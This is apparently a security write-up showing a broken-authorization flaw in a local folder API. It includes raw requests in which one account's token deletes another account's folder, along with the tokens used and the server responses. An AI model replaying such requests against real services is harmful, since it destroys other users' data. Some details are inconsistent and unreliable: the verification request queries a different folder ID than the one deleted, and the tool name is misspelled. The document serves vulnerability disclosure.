

Finding Evidences

The tester started by creating two accounts, **Account A** and **Account B**, and then proceeded to create a file using **Account A**. As you can see here, we have the UUID of the folder created by **Account A**, which starts with **cf**.

Authorization Tokens:

Account A: f48bbeec1b318ec4db4d979f4ba577f735614660167eaa9ebc109cebebc90b99

Account B: 6222722cb6187ccbcbe942e9722b738c16c5ea0ee674fb7e075eb81573418d6c

```
{
  "data":{
    "type":"folders",
    "id":"cfbe891a-8203-4c16-bd49-fe3e0598ba01",
    "attributes":{
      "title":"delete_me",
      "breadcrumb":[
        [
          ".home",
          "42b3414d-09c8-4aca-b026-2779f812061d"
        ],
        [
          "delete_me",
          "cfbe891a-8203-4c16-bd49-fe3e0598ba01"
        ]
      ],
      "tags":[
      ],
      "created_at":"2025-08-22T09:20:16.568150+02:00",
      "updated_at":"2025-08-22T09:20:16.568175+02:00"
    },
    "relationships":{
      "parent":{
        "data":{
```

After that, we're going to perform a Delete request on the folder made by **Account A**, but change the **Authorization Token** to **Account B's** Token.

```
Request
Pretty Raw Hex Hackvortor
1 DELETE /api/folders/cfbe891a-8203-4c16-bd49-fe3e0598ba01/ HTTP/1.1
2 Host: localhost:8000
3 Authorization: Token 6222722cb6187ccbcbe942e9722b738c16c5ea0ee674fb7e075eb81573418d6c
4 Origin: http://localhost:8000
5 Connection: keep-alive
6
7
```

Observing the response to the request, we can see that this resulted in **204 No Content**, implying that the server processed the request, but it doesn't need to return any content.

```
Response
Pretty Raw Hex Render Hackvortor
1 HTTP/1.1 204 No Content
2 Server: nginx/1.18.0
3 Date: Fri, 22 Aug 2025 07:27:50 GMT
4 Content-Length: 0
5 Connection: keep-alive
6 Allow: GET, PATCH, DELETE, HEAD, OPTIONS
7 X-Frame-Options: DENY
8 X-Content-Type-Options: nosniff
9 Referrer-Policy: same-origin
10 Cross-Origin-Opener-Policy: same-origin
11 Vary: Origin
12 Access-Control-Allow-Origin: *
13 Access-Control-Expose-Headers: Content-Disposition
14
15 |
```

To confirm this vulnerability, we refreshed the web application, and as we can see here, the folder made by **Account A** no longer exists, implying that this was successfully deleted by **Account B**.

```
Pretty Raw Hex Hackvortor
1 GET /api/folders/cf8e891a-8203-4c16-bd49-fe3e0598ba01/ HTTP/1.1
2 Host: localhost:8000
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
4 Accept: application/vnd.api+json
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Authorization: Token f48bbeec1b318ec4db4d979f4ba577f735614660167eaa9ebc1
8 Connection: keep-alive
9 Referer: http://localhost:8000/nodes/42b3414d-09c8-4aca-b026-2779f812061
10 Cookie: ember_simple_auth-session=%7B%22authenticated%22%3A%7B%22authenticator%3Aauthorizer%22%3A%22token%22%3A%22f48bbeec1b318ec4db4d979f4ba577f735614660167eaa9ebc1%22%3A%22csrf_token%22%3A%22yC1mz30rVHYm5WEY840jGhLJbcarBRnhjiXS3VHbz1VnZqEcayR00NwUI40XYcw4oiiea7lbuve2vp2fs9skc2yvl2retd%22%7D%7D
1 Sec-Fetch-Dest: empty
2 Sec-Fetch-Mode: cors
3 Sec-Fetch-Site: same-origin
```

Response	
Pretty	Raw
Hex	Render
Hackvector	
1	HTTP/1.1 404 Not Found
2	Server: nginx/1.18.0
3	Date: Fri, 22 Aug 2025 07:33:37 GMT
4	Content-Type: application/vnd.api+json
5	Content-Length: 70
6	Connection: keep-alive
7	Allow: GET, PATCH, DELETE, HEAD, OPTIONS
8	X-Frame-Options: DENY
9	X-Content-Type-Options: nosniff
10	Referrer-Policy: same-origin
11	Cross-Origin-Opener-Policy: same-origin
12	Vary: Origin
13	
14	{
	"errors":[
	{
	"detail":"Not found.",
	"status":"404",
	"code":"not_found"
	}
	]
	}

References:

[OWASP - Broken Function Level Authorization](#)